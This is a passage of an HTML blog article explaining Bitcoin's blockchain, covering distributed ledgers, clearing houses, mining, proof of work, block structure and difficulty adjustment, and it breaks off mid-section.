&lt;/p&gt;
&lt;p&gt;
One might want to see part of this article as a slideshare presentation available here: &lt;a href=&quot;http://www.slideshare.net/JrmeKehrli/the-blockchain-the-technology-behind-bitcoin&quot;&gt;http://www.slideshare.net/JrmeKehrli/the-blockchain-the-technology-behind-bitcoin&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Also, this article is available in PDF format here: &lt;a href=&quot;https://www.niceideas.ch/blockchain_explained.pdf&quot;&gt;https://www.niceideas.ch/blockchain_explained.pdf&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Summary&lt;/b&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec1&quot;&gt;1. What is the blockchain ?&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec11&quot;&gt;1.1 Some definitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec12&quot;&gt;1.2 A tiny little bit of history&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec13&quot;&gt;1.3 Introduction example&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec2&quot;&gt;2. Key problem solved by the blockchain &lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec21&quot;&gt;2.1 Back on the Introduction example.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec22&quot;&gt;2.2 Centralization and Clearing Houses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec23&quot;&gt;2.3 Here comes the blockchain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec3&quot;&gt;3. Operation of the blockchain &lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec31&quot;&gt;3.1 A simplified view of the blockchain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec32&quot;&gt;3.2 The bitcoin blockchain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec33&quot;&gt;3.3 Operation Principle Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec34&quot;&gt;3.4 Miners and the &quot;Proof of Work&quot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec4&quot;&gt;4. Technical aspects of the blockchain &lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec41&quot;&gt;4.1 The Blockchain Data Structure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec42&quot;&gt;4.2 A first view on a block structure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec43&quot;&gt;4.3 A miner&apos;s life&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec44&quot;&gt;4.4 Difficulty Adjustment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec45&quot;&gt;4.5 Miner retribution (and bitcoin creation)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec46&quot;&gt;4.6 Bitcoin limited supply&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec47&quot;&gt;4.7 Wallet cryptography&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec48&quot;&gt;4.8 Merkle Trees&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec49&quot;&gt;4.9 Peer to peer network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec410&quot;&gt;4.10 Orphaned, Extinct and Staled Blocks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec5&quot;&gt;5. Blockchain 2.0 &lt;/a&gt;

&lt;/li&gt;

&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec6&quot;&gt;6. Sum-Up &lt;/a&gt;

&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The blockchain principles and fundamentals are really coming initially from the design work on the Bitcoin. Most of this article focuses on the design and the principle of the blockchain put in place in the Bitcoin system. 
&lt;br&gt;
Some more recent (Blockchain 2.0) implementations differ slightly while still sharing most genes with the original blockchain, making all that is presented below valid from a conceptual perspective in these other implementations as well.
&lt;/p&gt;



&lt;a name=&quot;sec1&quot;&gt;&lt;/a&gt;
&lt;h2&gt;1. What is the blockchain ? &lt;/h2&gt;

&lt;a name=&quot;sec11&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.1 Some definitions&lt;/h3&gt;

&lt;p&gt;
Answering this question is somewhat tricky. I will give three definitions that do a pretty good job in answering to this question.
&lt;/p&gt;
&lt;p&gt;
Initial Definition :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot; style=&quot;border: 1px solid;&quot;&gt;&lt;b&gt;The blockchain is the technology running the bitcoin.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
The blockchain is a technology that underlies bitcoin - conceived in 2008 and first implemented in 2009 - where it serves as the public ledger for all transactions. The blockchain technology has been conceived by &lt;a href=&quot;https://en.wikipedia.org/wiki/Satoshi_Nakamoto&quot;&gt;Satoshi Nakamoto&lt;/a&gt; a virtual identity which is believed nowadays to belong to a group rather than a single individual.
&lt;/p&gt;
&lt;p&gt;
Wikipedia&apos;s definition :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot; style=&quot;border: 1px solid;&quot;&gt;&lt;b&gt;A blockchain is a distributed database that maintains a continuously-growing list of records called blocks secured from tampering and revision.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
A blockchain consists of blocks that hold batches of valid transactions. Each block includes the hash of the prior block in the blockchain, linking the two. The linked blocks form a chain.
&lt;br&gt;
In addition to a secure hash based history, any blockchain database has a specified algorithm for scoring different versions of the history so that one with a higher value can be selected over others. Peers supporting the database don&apos;t have the exact same version of the history at all times, but fall to &lt;a href=&quot;https://en.wikipedia.org/wiki/Eventual_consistency&quot;&gt;eventual consistency&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
My definition, slightly different from wikipedia&apos;s, which underlines what are, from my perspective, the key aspects of the blockchain &lt;i&gt;technology&lt;/i&gt;, as opposed to the blockchain &lt;i&gt;data structure&lt;/i&gt; on which wikipedia&apos;s definition focuses:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot; style=&quot;border: 1px solid;&quot;&gt;&lt;b&gt;The blockchain is a secured protocol enabling peer-to-peer exchanges on a distributed network in a secured, public and non-repudiable way.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
I guess these three definitions are very valid and the three of them give some important information. I do however prefer mine (well that&apos;s a surprise ...) since it underlines what I believe are the very key aspects of the blockchain. &lt;br&gt;
&lt;b&gt;The blockchain is first and foremost a certification infrastructure which would benefit all applications relying on it.&lt;/b&gt;
&lt;br&gt;
First the blockchain is more an application protocol than anything else since it consists if individual behaviour specification that eventually lead to a distributed, peer-to-peer, message broadcast-based and secured information database.
&lt;/p&gt;

&lt;a name=&quot;sec12&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.2 A tiny little bit of history&lt;/h3&gt;

&lt;p&gt;
The blockchain architecture and principles was first designed for bitcoin, as a solution to the problem of making a database both secured and widely distributed.
&lt;br&gt;
The block chain is the main innovation of Bitcoin.
&lt;/p&gt;
&lt;p&gt;
As of 2014, &quot;&lt;i&gt;Blockchain 2.0&lt;/i&gt;&quot; was a term used in the distributed blockchain database field. Blochchain 2.0 is an evolution of the initial blockchain intent where pretty much only transaction from a sender to a receiver could be stored. In this new paradigm, instead of simple transactions, the exchanges happen around so called &quot;&lt;i&gt;Smart Contracts&lt;/i&gt;&quot;, actually pretty complete applications implemented in specific scripting languages.
&lt;/p&gt;
&lt;p&gt;
The Economist described one implementation of this second-generation programmable blockchain as coming with &quot;&lt;i&gt;a programming language that allows users to write more sophisticated smart contracts, thus creating invoices that pay themselves when a shipment arrives or share certificates which automatically send their owners dividends if profits reach a certain level.&lt;/i&gt;&quot;
&lt;/p&gt;

&lt;a name=&quot;sec13&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.3 Introduction example&lt;/h3&gt;

&lt;p&gt;
Let&apos;s imagine the following example which we will be using throughout this article to illustrate the blockchain principles :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bob is an online buyer who just discovered Sally&apos;s online clothes shop. He found a nice suite there and wants to buy it. &lt;/li&gt;
&lt;li&gt;Sally is running a little online shop and sells various kinds of clothes. Sally&apos;s little shop only accepts paypal transactions. &lt;/li&gt;
&lt;li&gt;Bob needs to pay Sally, using paypal, before she sends him the suite .&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/d21c12a5-cfc1-486d-89e1-9ab17d717afa&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 670px;&quot; alt=&quot;Initial problem&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/d21c12a5-cfc1-486d-89e1-9ab17d717afa&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;a name=&quot;sec2&quot;&gt;&lt;/a&gt;
&lt;h2&gt;2. Key problem solved by the blockchain &lt;/h2&gt;

&lt;p&gt;
Banking is a system of intermediaries across the spectrum - ranging from payment networks (e.g Mastercard, Visa etc) to Clearinghouses in Capital Markets to Banks, etc. And the reason these intermediaries exist is to establish trust between two parties who do not know each other.
&lt;/p&gt;
&lt;p&gt;
The Blockchain stands behind every bitcoin ever created by maintaining the proof of ownership. 
&lt;br&gt;
The innovation is it&apos;s openness yet it&apos;s security which ensures that the currency is tamper proof.
&lt;/p&gt;

&lt;a name=&quot;sec21&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.1 Back on the Introduction example.&lt;/h3&gt;

&lt;p&gt;
Recall Bob and Sally&apos;s transaction above ?
&lt;/p&gt;
&lt;p&gt;
This is how it happens in practice, with all the intermediates
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/618ad65c-dbc9-452e-adc4-488262e15466&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 640px; &quot; alt=&quot;Intermediates&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/618ad65c-dbc9-452e-adc4-488262e15466&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
This usual model suffers from several problems / drawbacks:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The financial system is opaque and lacks transparency and fairness.&lt;/li&gt;
&lt;li&gt;All these intermediates are no volunteers. They work for money and get paid for their services. The transaction costs money to both the buyer and the seller. There are interest rates, fees, surcharges, etc. EFTs in Europe can cost 25 euros. Credit transactions can cost several percent of the transaction.&lt;/li&gt;
&lt;li&gt;All these exchanges are error prone. Credit card informations are stolen. Banks make mistakes.&lt;/li&gt;
&lt;li&gt;An account holder is eventually not even the actual owner of his account. The bank really owns the account. Funds can be garnished, even frozen completely.&lt;/li&gt;
&lt;li&gt;Banks and other payment processors like PayPal, Visa, and Mastercard may refuse to process payments for certain legal entities.&lt;/li&gt;
&lt;li&gt;Financial exchanges are slow. Checking and low cost wire services take days to complete.&lt;/li&gt;

&lt;/ul&gt;

&lt;a name=&quot;sec22&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.2 Centralization and Clearing Houses&lt;/h3&gt;

&lt;p&gt;
A clearing house is a financial institution that provides clearing and settlement services for financial and commodities derivatives and securities transactions. These transactions may be executed on a futures exchange or securities exchange, as well as off-exchange in the over-the-counter (OTC) market. 
&lt;br&gt;
A clearing house stands between two clearing firms (also known as member firms or clearing participants) and its purpose is to reduce the risk of one (or more) clearing firm failing to honor its trade settlement obligations. A clearing house reduces the settlement risks by netting offsetting transactions between multiple counterparties.
&lt;/p&gt;
&lt;p&gt;
Buyers and sellers use intermediaries because they may not trust the other party, but they &lt;b&gt;trust that the intermediary will assure the transaction is completed faithfully&lt;/b&gt;. This is the fundamental role of a clearing house as illustrated below:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/5d5cf61f-3467-4f37-b14a-5960695756a6&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 440px;&quot; alt=&quot;Central Ledger&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/5d5cf61f-3467-4f37-b14a-5960695756a6&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
The clearing house provides protection to the problems:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How do you ensure some fund will not be spent twice ?&lt;/li&gt;
&lt;li&gt;How do you ensure some the transaction sender actually has the funds ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In addition, the clearing house holds the central &lt;b&gt;transaction ledger&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The problem with these central ledgers, or clearing houses&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
When one bank sends money to another, no physical currency changes hands. Banks and settlement systems use central electronic ledgers to track assets. But such central ledgers - or clearing houses -  can be slow and inefficient, often relying on faxes or manual input. 
&lt;/p&gt;
&lt;p&gt;
That not only wastes time but racks up fees. The system is also open to hacking and fraud. These central institutions gets fees to cover such risks of course as well as many other services, bue the price is high and prevents, for instance, micro-paiements who are not able to support the charge asked by these central structures.
&lt;/p&gt;

&lt;a name=&quot;sec23&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.3 Here comes the blockchain&lt;/h3&gt;

&lt;p&gt;
In contrast to today&apos;s networks, &lt;b&gt;distributed ledgers&lt;/b&gt; eliminate the need for central authorities to certify ownership and clear transactions. They can be open, verifying anonymous actors in the network, or they can be closed and require actors in the network to be already identified. 
&lt;br&gt;
The best known existing use for the distributed ledgers is the cryptocurrency bitcoin.
&lt;/p&gt;
&lt;p&gt;
Eliminating the need of the central ledger is precisely the core intent of the blockchain and all protocols put in place there adresse the need of making it public, permanent, distributed and secure.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/77f032c8-a5f6-4f51-b555-a062282269ae&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 500px;&quot; alt=&quot;Distributed Ledger&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/77f032c8-a5f6-4f51-b555-a062282269ae&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
A &lt;b&gt;distributed ledger&lt;/b&gt; (also called &lt;b&gt;shared ledger&lt;/b&gt;) is a consensus of replicated, shared, and synchronized digital data geographically spread across multiple sites, countries, and/or institutions.
&lt;br&gt;
Every node in the decentralized system has a copy of the blockchain. No centralized &quot;official&quot; copy exists and no user is &quot;trusted&quot; more than any other.
&lt;/p&gt;
&lt;p&gt;
Users of Distributed Ledger Technology (DLT) significantly benefit from the efficiencies and economics by creating a more robust environment for real-time and secure data sharing.	Contrary to common belief, the Bitcoin blockchain is not the only distributed ledger, in fact, many other users of Distributed Ledger Technology use different methodologies to achieve the same consensus (e.g. Ripple, MultiChain, HyperLedger Project).
&lt;br&gt;
A blockchain is mostly a distributed ledger but not all distributed ledgers are blockchains. Although the term &quot;blockchain&quot; is used more frequently than &quot;distributed ledger&quot; in discussions, a blockchain is only one of the many types of data structures that provide secure and valid achievement of distributed consensus. 
&lt;br&gt;
The bitcoin blockchain, and similar bockchains, which uses &quot;Proof-of-Work&quot; mining, is the most publicly proven method used to achieve distributed consensus
&lt;/p&gt;
&lt;p&gt;
This leads us to another definition of the blockchain :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot; style=&quot;border: 1px solid;&quot;&gt;&lt;b&gt;A blockchain is a type of distributed ledger, comprised of unchangeable, digitally recorded data in packages called blocks.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec3&quot;&gt;&lt;/a&gt;
&lt;h2&gt;3. Operation of the blockchain &lt;/h2&gt;

&lt;a name=&quot;sec31&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.1 A simplified view of the blockchain&lt;/h3&gt;

&lt;p&gt;
When discussing the Blockchain technology, one is really mentioning the blockchain itself and the network built around it as well as all protocols involved.
&lt;/p&gt;
&lt;p&gt;
All of this can be represented this way, under a simplified form:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/5f96db60-cddd-4138-87a2-40f6be6739d2&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 550px; &quot; alt=&quot;The Blockchain&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/5f96db60-cddd-4138-87a2-40f6be6739d2&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Key aspects here are :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The blockchain network is a peer-to-peer network of independent nodes communicating together by message broadcasting.&lt;/li&gt;
&lt;li&gt;The key component of the network is the blockchain. &lt;b&gt;Every node has its own copy of the blockchain&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;A node is not necessarily connected to every other node, but at least some of them. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The blockchain itself is a list of blocks. These digitally recorded &quot;blocks&quot; of data are stored in a linear chain. Each block in the chain contains data (e.g. bitcoin transaction) and is cryptographically hashed. &lt;br&gt;
Each block includes the hash of the prior block in the blockchain, linking the two, ensuring all data in the overall &quot;blockchain&quot; has not been tampered with and remains unchanged.
&lt;/p&gt;
&lt;p&gt;
This has the effect of creating a chain of blocks from the genesis block to the current block. Each block is guaranteed to come after the previous block chronologically because the previous block&apos;s hash would otherwise not be known. 
&lt;br&gt;
Each block is also computationally impractical to modify once it has been in the chain for a while because every block after it would also have to be regenerated.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The linked blocks form a chain&lt;/b&gt;.
&lt;/p&gt;

&lt;a name=&quot;sec32&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.2 The bitcoin blockchain &lt;/h3&gt;

&lt;p&gt;
A block chain is a transaction database shared by all nodes participating in a system based on the Bitcoin protocol. A full copy of a currency&apos;s block chain contains every transaction ever executed in the currency. With this information, one can find out how much value belonged to each address at any point in history.
&lt;/p&gt;
&lt;p&gt;
For any block on the chain, there is only one path to the genesis block. Coming from the genesis block, however, there can be forks. 
&lt;br&gt;
One-block forks are created from time to time when two blocks are created just a few seconds apart. When that happens, generating nodes build onto whichever one of the blocks they received first. Whichever block ends up being included in the next block becomes part of the main chain because that chain is longer.
&lt;/p&gt;
&lt;p&gt;
The block chain is broadcasted to all nodes on the networking using a flood protocol.
&lt;/p&gt;

&lt;a name=&quot;sec33&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.3 Operation Principle Overview&lt;/h3&gt;

&lt;p&gt;
The intial blockchain, running the bitcoin system, provides distributed, public and secured storage of bitcoin transactions.
&lt;/p&gt;
&lt;p&gt;
The operation principle of is pretty straightforward to understand:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A user wants to pay another user some bitcoins, he broadcasts a transaction to the network.&lt;/li&gt;
&lt;li&gt;Miners add the transaction as they receive it to their current block, the one they are currently working on&lt;/li&gt;
&lt;li&gt;Randomly, one of the miner may win the lottery and &quot;&lt;i&gt;mine&lt;/i&gt;&quot; the block (we&apos;ll get back to that)&lt;/li&gt;
&lt;li&gt;At that moment, this new &quot;&lt;i&gt;definitive&lt;/i&gt;&quot; block is broadcasted to the network and added to everyone&apos;s copy of the blockchain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
This is illustrated in the following visualization:
&lt;/p&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/2b630a2f-f077-41bf-99c6-a6f70811e2e5&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 740px;&quot; alt=&quot;Blockchain principle&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/2b630a2f-f077-41bf-99c6-a6f70811e2e5&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec34&quot;&gt;&lt;/a&gt;
&lt;h3&gt;3.4 Miners and the &quot;Proof of Work&quot;&lt;/h3&gt;

&lt;p&gt;
In order for a block to be accepted by network participants, miners must complete a &lt;i&gt;proof of work&lt;/i&gt; which covers all of the data in the block. 
&lt;br&gt;
The difficulty of this work is adjusted so as to limit the rate at which new blocks can be generated by the network to one every 10 minutes. Due to the very low probability of successful generation, this makes it unpredictable which worker computer in the network will be able to generate the next block.
&lt;/p&gt;
&lt;p&gt;
The &lt;i&gt;proof of work&lt;/i&gt; is a piece of data which is difficult (costly, time-consuming) to produce but easy for others to verify and which satisfies certain requirements. Producing a proof of work can be a random process with low probability so that a lot of trial and error is required on average before a valid proof of work is generated.
&lt;/p&gt;
&lt;p&gt;
Bitcoin uses the Hashcash proof of work system.
&lt;/p&gt;
&lt;p&gt;
For a block to be valid it must hash to a value less than the current target; this means that each block indicates that work has been done generating it. Each block contains the hash of the preceding block, thus each block has a chain of blocks that together contain a large amount of work. 
&lt;br&gt; 
Changing a block (which can only be done by making a new block containing the same predecessor) requires regenerating all successors and redoing the work they contain. This protects the block chain from tampering.
&lt;/p&gt;
&lt;p&gt;
The most widely used proof-of-work scheme is based on SHA-256 and was introduced as a part of Bitcoin.
&lt;/p&gt;
&lt;p&gt;
The mining process works this way:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f689099a-6594-458f-b18f-087507fe7748&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 880px; &quot; alt=&quot;Mining Process&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f689099a-6594-458f-b18f-087507fe7748&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;a name=&quot;sec4&quot;&gt;&lt;/a&gt;
&lt;h2&gt;4. Technical aspects of the blockchain &lt;/h2&gt;

&lt;p&gt;
Initially in the bitcoin system, a block chain is a &lt;b&gt;transaction database&lt;/b&gt; shared by all nodes participating in a system based on the Bitcoin protocol. 
&lt;br&gt;
A full copy of a currency&apos;s b(bitcoin) lock chain contains every transaction ever executed in the currency. With this information, one can find out how much value belonged to each address at any point in history.
&lt;/p&gt;

&lt;a name=&quot;sec41&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.1 The Blockchain Data Structure&lt;/h3&gt;

&lt;p&gt;
The blockchain data structure is an ordered, back-linked list of blocks of transactions. Every block contains a hash of the previous block. This has the effect of creating a chain of blocks from the genesis block to the current block. 
&lt;br&gt; 
Each block is guaranteed to come after the previous block chronologically because the previous block&apos;s hash would otherwise not be known. 
&lt;/p&gt;
&lt;p&gt;
Each block is also computationally impractical to modify once it has been in the chain for a while because every block after it would also have to be regenerated.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/7773b70c-d506-484d-b98b-51d1b1ce8556&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 450px;&quot; alt=&quot;Blockchain structure&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/7773b70c-d506-484d-b98b-51d1b1ce8556&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Transaction data is permanently recorded in files called blocks. 
&lt;br&gt; 
They can be thought of as the individual pages of a city recorder&apos;s recordbook (where changes to title to real estate are recorded) or a stock transaction ledger. Blocks are organized into a linear sequence over time (also known as the block chain). 
&lt;br&gt; 
New transactions are constantly being processes by miners into new blocks which are added to the end of the chain and can never be changed or removed once accepted by the network.
&lt;/p&gt;

&lt;a name=&quot;sec42&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.2 A first view on a block structure&lt;/h3&gt;

&lt;p&gt;
Each block contains, among other things, a record of some or all recent transactions, and a reference to the block that came immediately before it. It also contains an answer to a difficult-to-solve mathematical puzzle , the hash or &quot;Proof of Work&quot;.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/6f569661-ae93-4390-b5ee-458b1d703306&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 370px;&quot; alt=&quot;A block structure&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/6f569661-ae93-4390-b5ee-458b1d703306&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;a name=&quot;sec43&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.3 A miner&apos;s life&lt;/h3&gt;

&lt;p&gt;
In the Bitcoin world, transactions are broadcast to the network by the sender, and all peers trying to solve blocks collect the transaction records and add them to the block they are working to solve. This is called &lt;b&gt;Mining&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
Mining is the process of adding transaction records to Bitcoin&apos;s public ledger of past transactions. This ledger of past transactions is called the block chain as it is a chain of blocks. 
&lt;br&gt;
The block chain serves to confirm transactions to the rest of the network as having taken place. Bitcoin nodes use the block chain to distinguish legitimate Bitcoin transactions from attempts to re-spend coins that have already been spent elsewhere.
&lt;/p&gt;
&lt;p&gt;
Mining is intentionally designed to be resource-intensive and difficult so that the number of blocks found each day by miners remains steady. Individual blocks must contain a &lt;B&gt;proof of work&lt;/B&gt; to be considered valid. 
&lt;br&gt;
This proof of work is verified by other Bitcoin nodes each time they receive a block. Bitcoin uses the hashcash proof-of-work function.
&lt;/p&gt;
&lt;p&gt;
The primary purpose of mining is to allow Bitcoin nodes to reach a secure, tamper-resistant &lt;b&gt;consensus&lt;/b&gt;. 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Mining a block is difficult because the SHA-256 hash of a block&apos;s header must be lower than or equal to the target in order for the block to be accepted by the network. 
&lt;br&gt;
This problem can be simplified for explanation purposes: The hash of a block must start with a certain number of zeros. The probability of calculating a hash that starts with many zeros is very low, therefore many attempts must be made. 
&lt;br&gt;
In order to generate a new hash each round, a nonce is incremented.
&lt;/p&gt;
&lt;p&gt;
Miners implement following (simplified) algorithm :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/d0f782ae-9fa3-46bc-9c1a-1deb428c833a&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 750px;&quot; alt=&quot;Miner algorithm&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/d0f782ae-9fa3-46bc-9c1a-1deb428c833a&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;i&gt;Note 2016.11.21: I should enhance the above schema to illustrate the fact that when a round trip fails, the hash could not be computed, after incrementing the nounce but before retrying, miners add to the current block they are working on the new transactions that they might have received in the meantime. Thus every round occurs potentially on a slightly different block. This is important because it gives its rationality to using Merkle Trees to compute the hash.
&lt;br&gt;
I&apos;ll update the schema in the coming days
&lt;/i&gt;
&lt;/p&gt;

&lt;a name=&quot;sec44&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.4 Difficulty Adjustment&lt;/h3&gt;

&lt;p&gt;
The difficulty is the measure of how difficult it is to find a new block compared to the easiest it can ever be. It is recalculated every 2016 blocks to a value such that the previous 2016 blocks would have been generated in exactly two weeks had everyone been mining at this difficulty. This will yield, on average, one block every ten minutes. 
&lt;/p&gt;
&lt;p&gt;
As more miners join, the rate of block creation will go up. As the rate of block generation goes up, the difficulty rises to compensate which will push the rate of block creation back down. 
&lt;br&gt;
Any blocks released by malicious miners that do not meet the required difficulty target will simply be rejected by everyone on the network and thus will be worthless.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f168efa4-dd16-49b8-97e7-074441dbf272&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 450px;&quot; alt=&quot;Difficulty Adjustment&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/f168efa4-dd16-49b8-97e7-074441dbf272&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Again, the difficulty of the mathematical problem is automatically adjusted by the network, such that it targets a goal of solving an average of 6 blocks per hour. 
&lt;br&gt;
Every 2016 blocks (solved in about two weeks), all Bitcoin clients compare the actual number created with this goal and modify the target by the percentage that it varied. 
&lt;/p&gt;
&lt;p&gt;
The network comes to a consensus and automatically increases (or decreases) the difficulty of generating blocks.
